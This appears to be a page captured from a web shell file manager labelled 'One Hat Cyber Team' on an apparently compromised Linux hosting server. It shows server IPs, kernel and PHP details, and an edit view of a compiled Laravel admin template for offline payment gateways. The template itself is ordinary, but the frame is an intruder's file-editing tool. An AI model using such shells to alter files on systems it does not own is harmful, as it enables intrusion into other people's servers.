One Hat Cyber Team
Your IP :
216.73.216.93
Server IP :
178.63.234.5
Server :
Linux whm01.ins-jo.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
Server Software :
Apache
PHP Version :
8.1.32
Buat File
|
Buat Folder
Dir :
~
/
home
/
business
/
www
/
storage
/
framework
/
views
/
Edit File Name :
935db3853cc07f754b9a20504de4482540f085ac.php
<?php $__env->startSection('content'); ?> <div class="page-header"> <h4 class="page-title"><?php echo e(__('Offline Gateways')); ?></h4> <ul class="breadcrumbs"> <li class="nav-home"> <a href="<?php echo e(route('admin.dashboard')); ?>"> <i class="flaticon-home"></i> </a> </li> <li class="separator"> <i class="flaticon-right-arrow"></i> </li> <li class="nav-item"> <a href="#"><?php echo e(__('Payment Gateways')); ?></a> </li> <li class="separator"> <i class="flaticon-right-arrow"></i> </li> <li class="nav-item"> <a href="#"><?php echo e(__('Offline Gateways')); ?></a> </li> </ul> </div> <div class="row"> <div class="col-md-12"> <div class="card"> <div class="card-header"> <div class="row"> <div class="col-lg-6"> <div class="card-title d-inline-block"><?php echo e(__('Offline Gateways')); ?></div> </div> <div class="col-lg-6 mt-2 mt-lg-0"> <a href="#" class="btn btn-primary float-lg-right float-left btn-sm" data-toggle="modal" data-target="#createModal"><i class="fas fa-plus"></i> <?php echo e(__('Add Gateway')); ?></a> </div> </div> </div> <div class="card-body"> <div class="row"> <div class="col-lg-12"> <?php if(count($ogateways) == 0): ?> <h3 class="text-center"><?php echo e(__('NO OFFLINE PAYMENT GATEWAY FOUND')); ?></h3> <?php else: ?> <div class="table-responsive"> <table class="table table-striped mt-3" id="basic-datatables"> <thead> <tr> <th scope="col"><?php echo e(__('Name')); ?></th> <th scope="col"><?php echo e(__('Status')); ?></th> <th scope="col"><?php echo e(__('Serial Number')); ?></th> <th scope="col"><?php echo e(__('Actions')); ?></th> </tr> </thead> <tbody> <?php $__currentLoopData = $ogateways; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $key => $ogateway): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <tr> <td> <?php echo e($ogateway->name); ?> </td> <td> <form id="productForm<?php echo e($ogateway->id); ?>" class="d-inline-block" action="<?php echo e(route('admin.offline.status')); ?>" method="post"> <?php echo csrf_field(); ?> <input type="hidden" name="ogateway_id" value="<?php echo e($ogateway->id); ?>"> <input type="hidden" name="type" value="product"> <select class="form-control <?php echo e($ogateway->status == 1 ? 'bg-success' : 'bg-danger'); ?>" name="status" onchange="document.getElementById('productForm<?php echo e($ogateway->id); ?>').submit();"> <option value="1" <?php echo e($ogateway->status == 1 ? 'selected' : ''); ?>><?php echo e(__('Active')); ?></option> <option value="0" <?php echo e($ogateway->status == 0 ? 'selected' : ''); ?>><?php echo e(__('Deactive')); ?></option> </select> </form> </td> <td><?php echo e($ogateway->serial_number); ?></td> <td> <a class="btn btn-secondary btn-sm editbtn" href="#editModal" data-toggle="modal" data-ogateway_id="<?php echo e($ogateway->id); ?>" data-name="<?php echo e($ogateway->name); ?>" data-short_description="<?php echo e($ogateway->short_description); ?>" data-instructions="<?php echo e(replaceBaseUrl($ogateway->instructions)); ?>" data-is_receipt="<?php echo e($ogateway->is_receipt); ?>" data-serial_number="<?php echo e($ogateway->serial_number); ?>"> <span class="btn-label"> <i class="fas fa-edit"></i> </span> <?php echo e(__('Edit')); ?> </a> <form class="deleteform d-inline-block" action="<?php echo e(route('admin.offline.gateway.delete')); ?>" method="post"> <?php echo csrf_field(); ?> <input type="hidden" name="ogateway_id" value="<?php echo e($ogateway->id); ?>"> <button type="submit" class="btn btn-danger btn-sm deletebtn"> <span class="btn-label"> <i class="fas fa-trash"></i> </span> <?php echo e(__('Delete')); ?> </button> </form> </td> </tr> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> </tbody> </table> </div> <?php endif; ?> </div> </div> </div> </div> </div> </div> <!-- Create Offline Gateway Modal --> <?php if ($__env->exists('admin.gateways.offline.create')) echo $__env->make('admin.gateways.offline.create', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?> <!-- Edit Package Modal --> <?php if ($__env->exists('admin.gateways.offline.edit')) echo $__env->make('admin.gateways.offline.edit', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?> <?php $__env->stopSection(); ?> <?php echo $__env->make('admin.layout', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH /home/business/public_html/resources/views/admin/gateways/offline/index.blade.php ENDPATH**/ ?>
Save